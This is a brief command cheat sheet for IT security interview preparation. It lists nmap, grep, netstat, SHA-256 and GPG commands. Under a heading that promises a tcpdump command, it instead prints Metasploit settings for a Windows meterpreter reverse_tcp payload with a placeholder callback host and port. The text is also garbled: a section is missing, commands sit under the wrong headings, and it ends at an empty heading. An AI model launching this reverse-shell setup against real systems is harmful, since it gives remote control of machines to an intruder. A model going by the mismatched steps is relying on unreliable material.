You Should Know:

Preparing for IT security interviews requires hands-on practice. Below are essential commands, tools, and steps to reinforce your knowledge:

1. Network Security

Check open ports using nmap:
```
nmap -sV -p 1-1000 target_ip
```
Monitor network traffic with tcpdump:

set payload windows/meterpreter/reverse_tcp
set LHOST your_ip
set LPORT 4444
exploit

3. SOC Analysis

Analyze logs with grep:

grep "Failed password" /var/log/auth.log

Check active connections with netstat:
```
netstat -tulnp
```

4. Cryptography

Generate an SHA-256 hash:
```
echo -n "text" | sha256sum
```
Encrypt a file with GPG:
```
gpg -c secret_file.txt
```

5. Security Frameworks (NIST, ISO 27001)
